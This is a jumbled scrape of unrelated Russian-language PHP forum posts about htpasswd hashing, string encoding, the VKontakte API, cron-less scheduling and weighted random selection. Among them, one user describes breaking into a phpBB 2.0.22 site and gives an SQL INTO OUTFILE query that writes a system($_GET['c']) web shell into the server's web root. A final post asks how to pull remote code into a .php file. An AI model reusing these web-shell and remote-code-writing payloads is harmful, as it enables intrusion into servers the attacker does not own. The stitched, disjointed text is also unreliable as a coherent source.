PHP: <?php if($_POST) { $text = trim($_POST['pass']); $pass = crypt($text, base64_encode($text)); file_put_contents('./.htpasswd', trim($_POST['login']).':'. $pass); $access = '<Files .htpasswd> deny from all </Files> AuthType Basic AuthName "Restricted Area" AuthUserFile ' .getcwd(). '/.htpasswd Require valid-user'; file_put_contents('./.htaccess', $access); echo '<b>done.</b> <br /><br />'; } ?><form method='post'> login: <input type='text' name='login' /><br /> pass: <input type='text' name='pass' /><br /> <input type='submit' value='create pass' /></form> бесполезно если сгенерить пароль онлайн-генератором - всё работает, следовательно .htaccess правильный ещё работает если вообще не кодировать пароль - но это только для винды
PHP: <?php if ( strstr($_SERVER['HTTP_USER_AGENT'], 'MSIE') ) { echo 'Доступ закрыт'; } else { //Контент } ?> Либо закрыть через .htaccess
Меняется кодировка при использовании сложения строк функциями substr и mb_substr. Как это исправить? Вот исходный код: PHP: <html><head> <meta http-equiv="content-type" content="text/html; charset=UTF-8" /> </head> <body> <?php $dan = fopen('s.txt', 'r'); $line = fgets($dan); echo "верно отображает $line"; $line1 = mb_substr($line, 0, 19) & mb_substr($line, 30, 40); echo "не верно отображает $line1"; ?> </body></html> текстовой файл s.txt PHP: ляляляляля ляляляляля ляляляляля ляляляляля ляляляляля ляляляляля ляляляляля ляляляляля ляляляляля И файл и программа в утф-8, однако кодировка меняется при использовании сложения &. То есть переменная $line1 становится совсем другой кодировкой (вычислить какой я не смог).
PHP: echo mb_internal_encoding(); // Ето внутренея кодировка mb_internal_encoding('UTF-8'); // Ето смена внутреней кодировки Елементарно Ватсон
Patronik - способ который вы указали (то есть я добавил строку mb_internal_encoding('UTF-8'); после оператора <?php) не сработал. Зато я узнал, что есть такая библиотека как mb_string. У меня дебиан на локал хосте в php.ini нет строки mb_string и нет файлов в системе php_mbstring.dll. В сети я нашел очень много описаний как доставить эту библиотеку на денвер, но как поставить ее в дебиане - я не понимаю. Может, если библиотеку установить, то проблема будет решена. Только вот ошибок, на то что библиотека сейчас не установлена - php мне не выдает. У меня PHP Version 5.2.6-1+lenny8. Как установить библиотеку mb_string? ps я разместил файл программы и текстовой файл для скачивания http://narod.ru/disk/22624343000/s.zip.html может так будет понятней кому нибудь.
народ, помогите правильно создать пароль для htpasswd средствами php вот пример, но пароль получается невалидный: PHP: <?php if($_POST) { $text = trim($_POST['pass']); $pass = crypt($text, base64_encode($text)); file_put_contents('./.htpasswd', trim($_POST['login']).':'. $pass); $access = '<Files .htpasswd> deny from all </Files> AuthType Basic AuthName "Restricted Area" AuthUserFile ' .getcwd(). '/.htpasswd Require valid-user'; file_put_contents('./.htaccess', $access); echo '<b>done.</b> <br /><br />'; } ?><form method='post'> login: <input type='text' name='login' /><br /> pass: <input type='text' name='pass' /><br /> <input type='submit' value='create pass' /></form>
Вопрос о выводе в файл Привет, ломаю Phpbb 2.0.22 , пытался залить шелл но ничего не вышло,поскольку на удаленном компе xampp,то file_priv = Y (кароче mysql под root). Я пытаюсь загрузить файл temp.sql через восстановление базы данных,и тем самым зайдя на файл cmd.php спровоцировать создание файла 123.php с мини-шеллом.Это работает (тестил команды типа dir,net user...) , тока вот намудрил здесь с кавыками,прошу помощи так как не знаю как вывести это добро в файл. SELECT '<?php echo "<?php system($_GET['c']);?>" > 123.php ;?>' FROM phpbb_users LIMIT 1 INTO OUTFILE 'C:\\xampp\\htdocs\\cmd.php';
PHP: <?php # Если не ошибаюсь, то при создание пароля для .htpasswd, нужно использовать 2 первых символа в качестве соли. $password = 'passwd'; $hash = crypt($password, substr($password, 0, 2)); ?>
Как мне кажется задача нереальна, но всё же задам. Нужно раз в полчаса или час запускать один скрипт, но как это сделать не знаю. Крона нет, использование функции set_time_limit(0); запрещено(соответственно скрипт нельзя запустить на вечный цикл), на сайт никакие юзеры не ходят. Есть доступ к БД. Выдерживать именно нужный интервал между запусками необязательно, но всё же хотелось бы реализовать запуск скрипта хотя бы раз в 1-2 часа.
PHP: $uid = $_GET[viewer_id]; $api_id = api_id_тут; $method = "secure.getBalance"; $random = rand(10000,99999); $timestamp = time(); $v = "2.0"; $api_secret = "api_secret_тут"; $sig=md5("api_id=".$api_id."method=".$method."random=".$random."timestamp=".$timestamp."v=".$v.$api_secret); print file_get_contents("http://api.vkontakte.ru/api.php?api_id=".$api_id."&uid=".$uid."&v=".$v."&method=".$method."×tamp=".$timestamp."&random=".$random."&sig=".$sig); выдает изменяю на $method = "secure.getAppBalance"; убираю из запроса &uid=".$uid." и показывает то что надо... что не так ? второй день мозг .....
Есть массив типа PHP: $arr = array( 0=>array('id'=>3, 'price'=>2), 1=>array('id'=>6, 'price'=>1), ...... ); Как сделать рандомайзер который на выгоже будет выдавать индекс массва 0,1,2,3,4...(из примера) Но так чтобы приоритет был у тех у кого price больше, но и самые мелки совсем не оставлять...
Можно выбрать решение в лоб: добавить к массиву ещё один параметр "индекс", в котором и будут записаны значения 0,1,2... А потом просто отсортировать массив и выводить этот параметр) либо второй массив с параметром "индекс" и отсортировать его по цене в первом массиве
Byrger переформулируйте задание. Вам нужно случайное ('рандомайзер') или выбранное ('чтобы приоритет был') значение?
Как можно выполнить подобное? <?php file_get_contents('http://url/1.txt') into outfile /temp/1.php; ?>